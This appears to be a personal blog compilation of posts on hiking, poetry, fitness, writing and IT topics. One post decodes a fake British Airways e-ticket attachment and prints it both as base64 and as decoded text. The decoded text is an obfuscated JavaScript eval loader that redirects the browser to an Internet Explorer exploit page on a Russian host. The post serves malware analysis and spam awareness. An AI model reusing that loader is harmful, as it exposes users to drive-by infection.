Kearsarge Pinnacles Landslide 7-21-15

Hiking in the rugged, beautiful Sierra Nevada mountains is always a striking experience, but it's easy to forget that it's a work in progress, and not simply a sculpture for one to scramble over. If you climb up Kearsarge Pass from Onion Valley, the first thing you see on the other side is the dramatic Kearsarge Pinnacles, with the inviting Kearsarge Lakes beneath it.

This was the view on July 20. 2015. (Click for a larger version.)

We wound up camping that night at the Kearsarge Lake in the bottom of the photo--the first one you come to. It was a peaceful evening. The next day on July 21st, we went out on a lengthy day hike to try to see Glen Pass, and we turned around in once we realized we were facing an approaching thunderstorm that drenched us with hail as we raced back to our comfy tent. After stashing things out of the rain as best as we could, we retreated to the tent to plan how we would dry stuff out the next day. The rain let up and all was quiet, and we fell asleep only to be startled out of that peace at approximately 11pm by a huge cracking and tumbling sound, joined by many more. It was like an army throwing concrete down a long slope. Crash, boom, thunk, boom, boom, thunk, crash, tumble, shudder. The larger, very loud, impacts shook the ground. My wife, Terri said something unprintable about the status of our safety, but I remembered that we were further away and we just held on for a very long 30-45 seconds.

The next day, there was a suspiciously clean pile of stones above the lake closest to the Pinnacles and while it appears that the landslide didn't cross over to the area where people would have camped, given that it was plenty loud for those of us at the furthest lake, for those at the closest lakes, it was very likely a "We're gonna die." or "Come to Jesus." moment depending on the listener.

Here is the resulting photo. (Click to enlarge.)

And here is a closeup.

While we were approaching the Lakes, we had one hiking party recommend the lake closest to the Pinnacles as "the best." It may be, but you many pay the price of either a heart attack or having to replace your underwear, if the geology gods decide it's time to rearrange.

The Man Stood

The man stood

In the doorway

Insolence on his jowl

Eyes hooded

Shoulders slouched

Waiting

And not caring

But really just pretending

Not to care

That his lover was late

Why should he care?

The hours he spent

Waiting

Why should he wait?

He could walk away

Be free

Or not

Love is a trap

Or maybe it wasn’t love

More like need

The slouch became a bend

And a kneel

And a sit

He resisted lying down

The pavement both called to him

And threatened him

With its promise of rest and cold chill

Waiting

A dog approaches

Hello there

Company in the waiting

Feeling canine attention

A welcome break

Letting doggy wander on

Wonder if doggy is

Waiting too

Maybe they should set up

A life together.

Vigil continuing

Why here?

A corner

Not a cafe

Outside with the wind

The leaves

The birds

The birdshit

The bugs

Who buzz around his ears

Saying

No one cares

No one.

And then his lover appears

Excuses on the wind

Hugs and kisses

All is forgiven

The circle is full

To begin again.

Poetry Smokes

Because there’s no money in poetry

She sits on the back deck

Smoking a cigarette that

Can not kill her.

Wondering what bit jobs

Her sister Exposition

Will throw her way.

Exposition tries to be kind to her

Saying how she appreciates

Her insightfulness

That she knows

Exactly how to say

Something

But she doesn’t think that

Exposition really groks

What goes on in

Her own self.

That willingness to follow the smoke

Up into the sky and not be

Earthbound and not have to have

Subject, Verb, Object and not have to worry about

Mixed metaphors

She liked mixing metaphors

She liked swimming with the fish in the ocean

And then climbing a tree

With gusto and bravery.

And then falling into the sky

Winding up on Mars

And then flying

Into the earth

And digging

Her own grave

But she can’t stay in her grave

She can dig it

She can dig down

Commune with the worms

The bugs, the microbes, the dirt

Talk with the rocks

But then she will emerge

With the grass

With the people, with the horses, the dogs, the cats

The wildebeests

And run with the wolves

Because she can use cliche

Exposition can’t

My Altitude Problem wasn't about Altitude

I can't believe how long it's been taking me to write about this.  Probably because the reality of it really hadn't sunk in but it is now.

For a few years, I've thought I was sensitive to altitude.  At a certain elevation my muscles would just run out of energy. It always seemed to be around 9600', but once in a while it would happen at 7500' which seemed odd.


Finally I started paying attention to how hard I was working and started to wear a heart rate monitor.  Then I noticed that it always seems to happen about 1 hour into a climb.  

I'm used to working at a high heart rate.  Two years of spin classes has taught me to love the high that it gave me. Now I'm realizing that is a bad habit. When I work too hard for longer than an hour (called working anaerobically), my muscles run themselve out of glycogen and oxygen and they "bonk."  They just nearly stop.  They can still function, but at around 25% of what they were.

The thing that gave me a clue to this is an experiment I did when I climbed Mt Hoffman in Yosemite. Whenever my heartrate wents above 150, I stopped and let it slow down.  Climbing it took forever, but hours in I never once had an issue with my muscles just quitting.

So these days I try to not work above 155 bpm.  It makes me really slow. which is crazy making as I'd be happy working at above 165 bpm, but at a certain altitude that is not a sustainable rate.

This took me a long time to work out as apparently when I'm at sea level there is enough air pressure to help oxygen still get to my muscles.

Writing: Allowing the Paranoia

Friends of mine know that I've been spending time trying to learn to write better fiction.  I'm skilled at expository writing - I do it nearly every day, but fiction is a whole 'nuther realm and what I hadn't anticipated is what a strange emotional journey it is and I'm only getting started.

The first obstacle is just allowing your imagination to run away and to not automatically restrain it.  It was kind of a shock for me to discover what an internal governor I have on my imagination.  I think it's part societal and part self protection.

The societal one is obvious.  I should be doing something more productive with my time and I only allow myself brief flights of fancy.  To tell myself to stay in that imaginative place takes a surprising amount of effort as I almost feel guilty about it and I am not Catholic.

The self protection one is more complicated.

For a good story to happen a character has to overcome a challenge of some sort.  This means that Bad Things (tm) need to happen to them.  I find this is really hard.  I care about the characters I have created and I don't like to see them in pain.  But without pain or at least something not good there is no story and there is no growth and things get really boring.

One easy out is to turn it into fighting some sort of injustic and not an emotional wrong but it all comes down to emotional stuff sooner or later.  I should not protect them or myself.

But there's another aspect that I hadn't counted on.  When I'm not depressed, I am usually pretty optimistic.  I usually don't consider the worst that could happen and I'm now realizing that I do this out of sanity preservation.  But as a writer, you have to go to those places even though you scare the crap out of yourself sometimes.

Just today I was imagining what if someone in the house collapsed with a heart attack and needed CPR.

CPR needs to be continuous, but you also need to 
 - get the phone and dial 911
 - unlock the door so that a paramedic can get in
 - oh and crate or leash the dog who is going to bite any "intruder" who walks into through the door uninvited.
 - and remember CPR needs to be continuous or they could die.  Ah fuck.

Right around now I usually swap into "don't be silly mode" and go on with life.  As a writer, I need to consider what that would be like even as my normally excellent blood pressure starts to climb.  You have to allow that paranoia to work its way in.

And also right around now I marvel at how anyone can do this.  Especially those who write about pain or death and dying.  They are to be admired for their emotional fortitude and good boundaries.

More HTML Virus Decoding

"HTML" based viruses give us a rare view into the workings of a virus or at least some of the mechanics of how it is launched.

So we have a new twist on the fake e-ticket scam.

I received a fake British Airways e-reciept with an attachment labeled as htm.

I viewed the email source and it was base-64 encoded:

PGh0bWw+DQogPGhlYWQ+DQogIDxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtVHlwZSIgY29udGVu
dD0idGV4dC9odG1sOyBjaGFyc2V0PXV0Zi04Ij4NCjx0aXRsZT5QbGVhc2Ugd2FpdDwvdGl0bGU+
DQogPC9oZWFkPg0KIDxib2R5PiAgDQo8aDE+PGI+IFlvdSB3aWxsIGJlIGZvcndhcmRlZC4uLiBX
YWl0IHBsZWFzZS4uLjwvaDE+PC9iPg0KPGg0PkludGVybmV0IEV4cGxvcmVyIGNvbXBhdGlibGUg
b25seSEgPC9oND48YnI+DQoNCjxzY3JpcHQ+cD1wYXJzZUludDtzcz0oMSk/U3RyaW5nLmZyb21D
aGFyQ29kZTowO2FzZ3E9Ijc2ITYxITcyITMxITNkITM0ITNAITNiIWEhNzYhNjEhNzIhMzIhM2Qh
NzYhNjEhNzIhMzEhM2IhYSE2QCE2NiEyOCE3NiE2MSE3MiEzMSEzZCEzZCE3NiE2MSE3MiEzMiEy
QCEyMCE3YiE2NCE2ZiE2MyE3NSE2ZCE2NSE2ZSE3NCEyZSE2YyE2ZiE2MyE2MSE3NCE2QCE2ZiE2
ZSEzZCEyMiE2OCE3NCE3NCE3MCEzYSEyZiEyZiE2QCE2YyE2YyE3NSE2ZCE2QCE2ZSE2MSE3NCE2
MSE2NiEyZSE3MiE3NSEzYSEzOCEzMCEzOCEzMCEyZiE2NiE2ZiE3MiE3NSE2ZCEyZiE2YyE2QCE2
ZSE2YiE3MyEyZiE2MyE2ZiE2YyE3NSE2ZCE2ZSEyZSE3MCE2OCE3MCEyMiEzYiE3ZCIucmVwbGFj
ZSgvQC9nLCI5Iikuc3BsaXQoIiEiKTt0cnl7ZG9jdW1lbnQuYm9keSY9MC4xfWNhdGNoKGdkc2dz
ZGcpe3p6PTM7ZGJzaHJlPTIzO2lmKGRic2hyZSl7dmZ2d2U9MDt0cnl7ZG9jdW1lbnQ7fWNhdGNo
KGFnZHNnKXt2ZnZ3ZT0xO31pZighdmZ2d2Upe2U9d2luZG93WyJlIi5jb25jYXQoInYiKyJhbCIp
XTt9DQpzPSIiO2lmKHp6KWZvcihpPTA7aS0xMDchPTA7aSsrKXtpZih3aW5kb3cuZG9jdW1lbnQp
cys9c3MocChhc2dxW2ldLDE2KSk7fQ0KaWYod2luZG93LmRvY3VtZW50KWUocyk7fX08L3Njcmlw
dD4NCg0KPC9ib2R5Pg0KPC9odG1sPg==

After decoding that using:
http://www.opinionatedgeek.com/dotnet/tools/base64decode/

I found a script that redirected the browser to a site that is encoded in a way that we were seeing a couple of years ago.

It's trying to take advantage of an Internet Explorer vulnerability and they even have the chutzpah to say "IE only"

(I added the spaces in the tags to break them)
 
< h t m l >
 
 

 

You will be forwarded... Wait please...

Redirecting...

Internet Explorer compatible only!

p=parseInt;ss=(1)?String.fromCharCode:0;asgq="76!61!72!31!3d!34!3@!3b!a!76!61!72!32!3d!76!61!72!31!3b!a!6@!66!28!76!61!72!31!3d!3d!76!61!72!32!2@!20
!7b!64!6f!63!75!6d!65!6e!74!2e!6c!6f!63!61!74!6@!6f!6e!3d!22!68!74!74!70!3a!2f!2f!6@!6c!6c!75!6d!6@!6e!61!74!61
!66!2e!72!75!3a!38!30!38!30!2f!66!6f!72!75!6d!2f!6c!6@!6e!6b!73!2f!63!6f!6c!75!6d!6e!2e!70!68!70!22!3b!7d".replace(/@/g,"9").split("!");try{document.body&=0.1}catch(gdsgsdg){zz=3;dbshre=23;if(dbshre){vfvwe=0;try{document;}catch(agdsg){vfvwe=1;}if(!vfvwe){e=window["e".concat("v"+"al")];}
s="";if(zz)for(i=0;i-107!=0;i++){if(window.document)s+=ss(p(asgq[i],16));}
if(window.document)e(s);}}


< / broken html >


------------------------------------------------------------------------------

The part that is all hex characters:

76!61!72!31!3d!34!3@!3b!a!76!61!72!32!3d!76!61!72!31!3b!a!6@!66!28!76!61!72!31!3d!3d!76!61!72!32!2@!20
!7b!64!6f!63!75!6d!65!6e!74!2e!6c!6f!63!61!74!6@!6f!6e!3d!22!68!74!74!70!3a!2f!2f!6@!6c!6c!75!6d!6@!6e!61!
74!61!66!2e!72!75!3a!38!30!38!30!2f!66!6f!72!75!6d!2f!6c!6@!6e!6b!73!2f!63!6f!6c!75!6d!6e!2e!70!68!70!22!3b!7d

You can decode with any ASCII chart (http://www.asciitable.com/)

All the characters are in hex except for:
All chars in hex except
2@=29h=)
3@=39h=9
6@=69h=i

The script uses ! as a separator so ignore them.

And...

This all translates to (I broke the http)
var1=49 ; \n
var2=var1; \n
if(var1==var2  ) [space] {
document.location="h t t p://illuminataf.ru:8080/forum/link/column.php;}

which is likely a viral php script on a site in Russian that has likely been broken into.

My Gun Control Idea

So here's my unattainable thought for how to get rid of a lot of assault rifles (which is a huge problem in the US).

Let's put human greed to work.

1. Make their sale illegal.

2. Offer a generous bounty on their return (more than their original cost.)

3. Don't require proof of ownership at the turn in.

My thought is that eventually outlaws will start stealing each other's rifles and turning them in.
There will be a slow attrition.  If it slows, raise the bounty.

Police and military ones would be specially marked so they can be spotted at turn in.

That Word "Expert"

So I've been noticing over time that when I hear the word "expert" my skeptic filters instantly engage.

Not so much when watching TV, but more in person.

The word itself tells me nearly nothing about the person being described.  It tells me a lot about the person speaking.  It usually means that the speaker doesn't understand the subject that they are saying the other person is an "expert" at.  What they are in a sense saying is that "This person I am calling an expert knows way more about subject X than I do."

Also, the more a person knows about a subject the less they would say the word expert (if ever).  I am an IT person with 18 years of experience.  I am not an expert at all.  I am a generalist, but someone describing me might use other vocabulary.

One way to learn more about the "expert" knows to have the speaker tell you more.  "Could you describe what this person helped you do?"  Or just let them talk.  There is information in the details, but you have to go through a lot of superfluous words first.

Removing Mobile Email Signatures

iPhones and other mobile devices often by default put a "Sent from my Super Magic Device" in the signature. This is entirely optional, and you can change or remove it if you'd rather not be an advertising billboard.


iPhone

• Settings
• Mail
• Signature

Android

Droid 4

• Open the Email app
• Menu Settings button
• Settings
• Select Account you want to change
• Signature

The Downsides of Winter Camping

I love being out in the snow.  It's usually gorgeous and if you choose carefully falling down is not that painful.

If you have a shovel you can play house all you like.  You can build walls, a kitchen complete with a basic table or working surface, or a latrine.  You can even build a snow cave if you're feeling ambitious.

But there are some obvious downsides to snow

 - You need to have snow skills.  You should know how to use an ice axe and crampons.  In particular you need to be able to use an ice axe to help you stop ("self-arrest").  This can be done with a trekking pole but trekking poles were not designed for this and those who know how to do this already know about how to use an ice axe.

 - When the weather warms up it's hard to walk on

 - When it's not hard to walk on you might be on ice and that's slick and dangerous

 - The UV rays can cook your skin - You need to be wearing something or have way heavy duty sunscreen.

 - The UV rays can blind you if you lose your sunglasses and you're better off with special glacier glasses.

 - The winds can be decidedly less than fun

 - The weather can suddenly change, but that's true anytime

 - Winter equipment is heavier, more expensive, and there is more of it.

 And the most obvious and often most defeating

 - It gets cold at night

And if you're trying to climb a mountain

 - You often need to start hiking when it's the most cold because this is when the snow is solid and most climbable.  (Called an "alpine start.")

If you're in a 4 season tent and have a nice sleeping pad and bag it can actually be quite nice, but 4 season tents are heavier, more expensive ($450-$600), and get very hot during the day.

If you're climbing by yourself (which you really shouldn't do but you can in popular areas), then you're the only one toting that silly tent.  You could get a 1 person tent but that means you really like your solitude and two person tents are usually much more fun unless you have money to burn and buy both.

Fortunately these days the tents have gotten lighter.  This 2 person 4 season tent is only 5 pounds:

http://www.backcountry.com/the-north-face-assault-2-tent-2-person-4-season

You can climb in the spring time with a 3 season tent if you have a good sleeping bag, but it means you are huddling quite a lot.  This last time I also optimistically went with an air mattress which was fabulous on dirt and an excellent conductor of cold especially when things got down to 20 degrees.  I left a day early.

So now I'm left with - how bad do I want to do this?  There are a whole world of ways to waste your time.

I am more draw these days to cross country skiing with fat (Randonee) skis and maybe do a hut tour as there are some nice Sierra huts.

Rehoming Sea Shells

Does everyone's parents keep weird stuff from their children's childhood?  For decades?

I was helping move my Mom into assisted living which mean going through a lot of stuff and sure enough there is the requisite one or two creepy boxes of stuff from when I was 10 or younger.  In said box was a plastic bag of sea shells with a note on it saying "Ellen's sea shells from St. Simon's Island (in Georgia).  While there was no date on it I haven't been to said Island to a long since sold (and now non-existent cottage) for well over 30 years.

So what do I do with a pile of sea shells?  There was a larger one that I abandoned on a rail at tourist laden Pier 39 in San Francisco (it was gone in minutes.)  But I also had a bunch of little tiny shells.

I could throw them away, but sea shells much like rocks are infinitely reusable.  There is always some wee sea creature looking for a home and anything that was once on them is long since dead so there's little risk of creating some pandemic ocean disease by carrying an East coast shell across the country and dropping it into the Pacific.

So I got my opportunity when I was at Pescadero Beach.  I hope some little critter had a nice home now.

Tracing Email Forgeries

Long and dull, but useful information:..

By now many folks know that emails claiming to be from Fed Ex, or UPS, or the postal service about deliveries are often scams.  But people often ask how do you tell for sure instead of just guessing?  

The way to tell is to look at the email’s “Full Headers.”  While such a display looks daunting there are particular details you are looking for and you can ignore a lot of the other detail.

What you are looking for is the often strangely formatted Received lines.  What you are interested in is what system sent me the email?  Did it really come from UPS or did it come from Moon-buk-tu?

Here is an example.  It claims to be from UPS about a delivery confirmation contained in an attachment.  First of all UPS doesn’t do that, so you know it’s not right from the start, but let’s continue.

Email gets handed off pony express style from one computer to another and there will be a Received line in the email for every “hop.”

Return-Path:
Received: from mail.ups.com (mail.dawee.co.id [203.160.60.139])
    by mymailsystem.blahblah.com (8.13.8/8.13.4) with ESMTP id q8A9vW9W028734
    for ; Mon, 10 Sep 2012 02:57:35 -0700
 Received: from [219.168.131.98] (helo=jsrlvuefbfxn.gjqtj.ru)
    by mail.dawee.co.id with esmtpa (Exim 4.69)
    (envelope-from )
    id 1MM3D6-6022ia-PI
    for ellen@blahblah.com; Mon, 10 Sep 2012 16:54:50 +0700 
From: "UPS Quantum View"
To:
Subject: Delivery Notification UPS Mon, 10 Sep 2012 16:54:50 +0700


Return-Path - this can be faked so ignore it.
Received lines go in reverse order so the last one to touch it is the one at the top and usually the one you want to look at.  You want to look for the name of your system that receives email for you.  In this case, I’m calling it mymailsystem.blahblah.com.  The top Received line is what sent it to mymailsystem.  That system claims to be mail.ups.com, but look inside the parenthesis.  In an ESMTP Received line what is inside the parens is placed there by the email software and rarely is forged.  What is inside the parens is who really sent the message: dawee.co.id which is a system in Indonesia.  UPS may be an international company, but I can assure you that a system of theirs whose job it is to send email is never going to look like this.  So we can safely conclude that it is a forgery.

The second received line is who sent it to indonesia which implies the Indonesian system may have been hacked/hijacked by a virus intended to send spams and scams.  This line is generated by Exim and I’m not as familiar with how those lines are formatted though I do know they are easiliy configurable and so I don’t trust them as much.  It is interesting that the parens only contain a “helo” which is what the system claims its name is to the mailer (listed as from Russia but very easily faked) and the ip address in the [] doesn’t match it.  The IP address is from Japan. (I checked with http://whatismyipaddress.com/ip/)  
The implication is that the system is lying to the Indonesian system about where it is from.

---

Here is another example.
This claims to be from the ADP payroll system company.

That first glance a big clue: X-Mailer The Bat!
The Bat! is a mailer that is heavily used by spammers.
Return-Path is just whatever the spammer claimed to be

Return-Path: \ 
Received: from adpmailer.adp.com ([62.198.244.64])
by mymailsystem.blahblah.com (envelope-sender )
with ESMTP id q8ADQiYc012151; Mon, 10 Sep 2012 06:26:45 -0700  
Received: from [207.99.101.96] (helo=eqlcqhhswioo.nxqyhrp.ru)  
by with esmtpa (Exim 4.69) (envelope-from ) id 1MMCKK-1644oq-DH 
for someone@blahblah.com; Mon, 10 Sep 2012 14:26:43 +0100
Date:     Mon, 10 Sep 2012 14:26:43 +0100
From: "ADP_Online_Invoice_DoNotReply@adp.com"
X-Mailer: The Bat! (v2.04.7) Business

Looking at the first Received line, i find mymailsystem@blahblah.com which is my example email system.  The system that sent it claims to be adpmailer.adp.com but, again, look inside the parens.  there is no name inside the parens so we have to do a little more work by using http://whatismyipaddress.com/ip/. and it tells us this system is from Denmark which again is not an ADP system.

The system that sent it to the Denmark system is 207.99.101.96 which is a system in New Jersey and again not from Russia as it claimed to be.

---

This example is basic forged spam.  It claims to be a stock tip from Italy but is really from a system in Russia (.ru inside the parens) that has likely been broken into:

Received: from ppp91-79-82-35.pppoe.mtu-net.ru (ppp91-79-82-35.pppoe.mtu-net.ru [91.79.82.35])
    by mysystem.blahblah.com (8.13.8/8.13.4) with SMTP id q88GA0nQ027380
    for ; Sat, 8 Sep 2012 09:10:04 -0700
Received: from unknown (HELO ebd) ([35.42.178.112])
    by ppp91-79-82-35.pppoe.mtu-net.ru with ESMTP; Sat, 8 Sep 2012 20:10:48 +0300
Message-ID: <001b01cd8ddc ab270="ab270" comp1ebd="comp1ebd" d1d0="d1d0">
From: "Keith Greer"
To:
Subject: Stock To Watch!


While the email address (kc_kate@tradenet.it) is a forgery, the name of the Russian system (ppp91-79-82-35.pppoe.mtu-net.ru) has not been - it appears the same both inside and outside of the parens in the Received line.  On the second Received line you can see the system that sent the spam through the Russian one.  Its identity is more protected, but it is likely 35.42.178.112 which is a system in Ann Arbor Michigan owned by Merit Network (who is a college), and I will send the full headers to the Merit Network abuse address which I’m hoping is abuse@merit.edu.  It's likely the Merit system has been broken into as well.

Memorizing Passwords and Other Important Stuff

My work has autogenerated passwords that change monthly.

For the most part, I just keep these in a mailbox folder that I refer to, but it saves me a couple of minutes if I just memorize the passwords that I use the most.

If you took piano lessons, or took biology or first aid, or even rock climbing classes you’ve no doubt been introduced to using words in a phrase to remind you of process (called a mnemonic device.)  The piano staff one of Every Good Boy Does Fine and FACE is here (though I must admit to wondering why you need a mnemonic for something that is alphabetical).: http://piano.about.com/od/gettingstarted/ss/notes_2staves.htm

For example: QPEN Query Paul about his Egyptian Name

But the more ridiculous a device is the more memorable it is
What’s even better if you can come up with a silly image.

if you have
TRZ

then a great way to remember it is:  The Red Zebra

After 24 hours I couldn’t remember Query Paul Egyptian Name.  All I could remember was Query Paul, BUT I had no trouble remembering The Red Zebra.

So if a password is
pgr4dn8h

then you can use
purple giraffes are for digging innate holes

This process works well for license plates too

5wwh582

5 women will have 5 to 8 tulips

6act925

6 accordians can toil 9 to 5

Of course the hazard of all this is if you do too good a job, you are stuck with brain cells that are forever occupied with this bit of information long after it isn’t relevant.  In this case, you can always repurpose it.  i use portions of old phone numbers as pin numbers